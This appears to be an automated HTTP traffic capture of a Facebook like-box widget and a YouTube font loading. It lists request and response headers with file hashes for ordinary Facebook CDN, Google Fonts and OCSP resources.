Expires: Tue, 22 Oct 2019 19:35:29 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: QFW1zDDxH8GvpAibAyViBg==
X-FB-Debug: VteVLbR4Lr6GXbLkXHctHLllP1g+6+5y98n9Fj5kTW0EwpwTXUDoWddsGn7C+uR+vyILMwdO/S0OGOSAJtRg/g==
Date: Wed, 24 Oct 2018 08:49:45 GMT
Connection: keep-alive
Content-Length: 6508


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6508
Md5:    4055b5cc30f11fc1afa4089b03256206
Sha1:   3cd56056e739e2cbc6299597c1a1a2e8168ab49a
Sha256: ec1ca4d73ed2028382ee4f98a2423a64164b6e24516a6a33fa3e6b2f478de300
                                        
                                            GET /rsrc.php/v3/yt/r/6TnKCeajWEL.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
timing-allow-origin: *
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
Expires: Tue, 22 Oct 2019 19:35:11 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: ZBYYQrjqeP51DPWnozeECQ==
X-FB-Debug: 3Ke1r2WBkATaIDA1QE2K/BZB7lF//jCgYmq0NSaUrdr36Ahtq6xiRMS8oYQ/629vgDOX1tLXBzW+u4x/6L0cew==
Date: Wed, 24 Oct 2018 08:49:45 GMT
Connection: keep-alive
Content-Length: 31728


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   31728
Md5:    64161842b8ea78fe750cf5a7a3378409
Sha1:   babd4e453e4e4fce77d8ab38d005af9dfb81e393
Sha256: 161cfc8d85a9980394722555c58576e634c7a0de5d7f72db4d2b367ee8c0dc8c
                                        
                                            GET /rsrc.php/v3/yI/l/0,cross/Yq3nGZlhvb8.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Mon, 21 Oct 2019 20:00:20 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: RbaniFnJlec6uv/JSHEGHg==
X-FB-Debug: 1dndwni/8RZgiujOBmF4dhrQDL9QPUv3zKxW5EQ9MZNIT/pPplZ8qaL9ZkfAoJOYa9Yi8mtKbFyYTAqwPgOVvA==
Date: Wed, 24 Oct 2018 08:49:45 GMT
Connection: keep-alive
Content-Length: 1525


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1525
Md5:    45b6a78859c995e73abaffc94871061e
Sha1:   c8129beae423e64e39d73a8a751448669fb6474c
Sha256: ca3e0d4cbed242f9f71793b0dbc837d8ea89ee302ba8c90c265baee3965bda2c
                                        
                                            GET /rsrc.php/v3/yc/l/0,cross/goZOoFtquE3.css HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 20:18:08 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: NbscjDr1ua6jOz6hd90TVw==
X-FB-Debug: dtrlXeiXAxN4T1EjtOvRyKedTaWIOal3pE7n8DmnKs69YVn+J/VkxxTmQbfpXK183uYNcXwvWOTnUWyQYFupvQ==
Date: Wed, 24 Oct 2018 08:49:45 GMT
Connection: keep-alive
Content-Length: 7712


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7712
Md5:    35bb1c8c3af5b9aea33b3ea177dd1357
Sha1:   df5312cadc824998e0765a8e68c84c564f8f2483
Sha256: d573c9ae1fc6192f9b57058a10be25058eb8d78fc4ed3e1b12f21b6bb2634203
                                        
                                            GET /s/roboto/v18/KFOmCnqEu92Fr1Mu4mxM.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.youtube.com/embed/HLypuN6cQ6A
Origin: https://www.youtube.com

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
timing-allow-origin: *
Content-Length: 19824
Date: Tue, 16 Oct 2018 18:59:16 GMT
Expires: Wed, 16 Oct 2019 18:59:16 GMT
Last-Modified: Mon, 16 Oct 2017 17:32:56 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 654629
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  data
Size:   19824
Md5:    bafb105baeb22d965c70fe52ba6b49d9
Sha1:   934014cc9bbe5883542be756b3146c05844b254f
Sha256: 1570f866bf6eae82041e407280894a86ad2b8b275e01908ae156914dc693a4ed
                                        
                                            GET /rsrc.php/v3/yE/r/YjRzzZ3NWhc.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
timing-allow-origin: *
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
Expires: Mon, 21 Oct 2019 04:41:27 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: KSHYXCWFjUCM0DTWU/P77Q==
X-FB-Debug: bCs/M1hDNafsRrpRhCXugMMrYe8JVqyKMq1RCWg5VUIccJ0SnAEgLehbCZJW2jHqkH/8FCH/csTL+4pgUVtQ5g==
Date: Wed, 24 Oct 2018 08:49:45 GMT
Connection: keep-alive
Content-Length: 87006


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   87006
Md5:    2921d85c25858d408cd034d653f3fbed
Sha1:   3bd7202cd899c93e886fb5d7720ed9a14fad78ba
Sha256: 04b1287d8c2c618b5186f7c81466482c8611ea1e69162cdf3b43d075595d5989
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=171829
Date: Wed, 24 Oct 2018 08:49:46 GMT
Etag: "5bd02b58-1d7"
Expires: Fri, 26 Oct 2018 08:33:35 GMT
Last-Modified: Wed, 24 Oct 2018 08:20:40 GMT
Server: ECS (ams/4990)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    f99e0bb912e7eec8b4c89cd38768da3e
Sha1:   8ffde6e0f010ffa444d90f2b449b991ca9057e60
Sha256: f1f4fa12b674832a9fff9c92304d6cb5e3118f607e58a8bc79ab753be40c9148
                                        
                                            GET /rsrc.php/v3/yX/r/Kvo5FesWVKX.png HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://static.xx.fbcdn.net/rsrc.php/v3/yc/l/0,cross/goZOoFtquE3.css

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 15 Oct 2019 19:16:23 GMT
Content-MD5: zLXyst1HOZzsE8I5PJ2sIg==
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
X-FB-Debug: 1As7Pyid4qdpLeGjzyaWqMYID+tKkgF86aKNP4tUFoDl6PiRe6+B9uo9Diiwj6deu9/iNUXzsPiOfpX/WcSMVQ==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 19050


--- Additional Info ---
Magic:  PNG image, 25 x 823, 8-bit/color RGBA, non-interlaced
Size:   19050
Md5:    ccb5f2b2dd47399cec13c2393c9dac22
Sha1:   5b9e7c19c7ee5b0c8955eb8b81aa853b038f4923
Sha256: 8f557eaac9fb5f4f5954e62f23dcb962e7175a735a1ba361c4f348dee45efc64
                                        
                                            GET /v/t1.0-1/p50x50/1620550_610132389056430_1338756527_n.jpg?_nc_cat=100&_nc_ht=scontent.fosl1-1.fna&oh=3be849f8be0eaa9bf9a4cc89bd66089a&oe=5C3CE6DC HTTP/1.1 
Host: scontent.fosl1-1.fna.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         213.52.81.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Last-Modified: Wed, 26 Feb 2014 18:23:17 GMT
timing-allow-origin: *
Access-Control-Allow-Origin: *
Cache-Control: max-age=1209600, no-transform
Access-Control-Expose-Headers: X-FB-CEC-Video-Limit
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 1957


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   1957
Md5:    6e5ac94ff9f346c5e94386bac05c2ddd
Sha1:   67840d1fc8a19f3a01b2324938fc6055e949395d
Sha256: 185c0d68218826739ae24a469a812603f957d19cea09086eb92cd7fcf80f916a
                                        
                                            GET /rsrc.php/v3ir2H4/ym/l/en_US/WLe6j13bkUg.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 04:37:52 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: sv16F6vYSS9pU6Oz/36T5Q==
X-FB-Debug: +tSvwZCat4IjmMQnA+BF6asfhForxFV899yPr4eY2snNDVLNjPpRXQVqRq2EJx6drSJJvTKEgM2xJ9FrWwKpAg==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 3346


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3346
Md5:    b2fd7a17abd8492f6953a3b3ff7e93e5
Sha1:   60e1ca5b367907dfd7bdeb84c428dece3fe1d3a8
Sha256: 8f615b3ed56b931dd6eb04ad96f21e326a5fbfb91bc6e9169b789cc14d42e892
                                        
                                            GET /rsrc.php/v3i3024/y6/l/en_US/QkWSdziLCFM.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Tue, 22 Oct 2019 18:39:48 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: 7sk4I86W85MEes8NB+AClQ==
X-FB-Debug: wsjQl18BhV8JI/RvCOqoNta15qY4HNcC3fqEsBL2lCRlchn9Vo6T0jqXbmDZs2bdytDLynuBTw2yG2xamy6itw==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 5565


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   5565
Md5:    eec93823ce96f393047acf0d07e00295
Sha1:   612f5ba8211d1315b9a0f27cde813250390ec811
Sha256: 973282d3a6f5bc38761b20a84727ae5c7d975881671d597f1b0d65ca16270edc
                                        
                                            GET /rsrc.php/v3/yf/r/40p_FjQHw6U.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Thu, 24 Oct 2019 00:31:07 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: u7/PFMcUjWOpKu4NDdKNIQ==
X-FB-Debug: qmOLiAQ7OfHXkwSPs0R/5RxEoLhsE/zTjP89LJMMGLxHtVsOoeNGMZUHkNm9mU5Utxx4HZBXquPetVJ/TWx8YA==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 43064


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   43064
Md5:    bbbfcf14c7148d63a92aee0d0dd28d21
Sha1:   a9eb2ab87ef369ee66fb2ca9ed5a8e39cd343fe2
Sha256: 3025d225a78b1f7ac24674382f1c61ec1f0d62154625c64fdfa7648287337537
                                        
                                            GET /rsrc.php/v3/ye/r/1soBpWtHhQG.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
timing-allow-origin: *
Expires: Wed, 23 Oct 2019 22:29:24 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: Mayt/jkSabDrnKhf+n1ZKg==
X-FB-Debug: zOEZq9+qfLYjZS2iy4Ia2mCgCZFiftQbJ214XN06N5ayczcTlT1nw34BsnYuyfuYxRPaxnsW62KSLRFbLah4+w==
Date: Wed, 24 Oct 2018 08:49:46 GMT
Connection: keep-alive
Content-Length: 4118


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4118
Md5:    31acadfe391269b0eb9ca85ffa7d592a
Sha1:   a728e64455b6ef51633f2c8887ab281e10d3b9be
Sha256: f8d68f8a09dd6c9398ce3674eba29b1e40035f039b7f937be38d1b68606d867b
                                        
                                            GET /rsrc.php/v3/yI/r/Pwl714l2pm1.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/like_box.php?app_id=&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F__Bz3h5RzMx.js%3Fversion%3D42%23cb%3Df32e4903e362186%26domain%3Dtheforestsessions.com%26origin%3Dhttp%253A%252F%252Ftheforestsessions.com%252Ff24f266d447a256%26relation%3Dparent.parent&container_width=0&header=true&href=http%3A%2F%2Fwww.facebook.com%2Fredoolittle%2F&locale=en_US&sdk=joey&show_faces=true&stream=false&width=170

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
timing-allow-origin: *
Expires: Thu, 24 Oct 2019 00:31:07 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
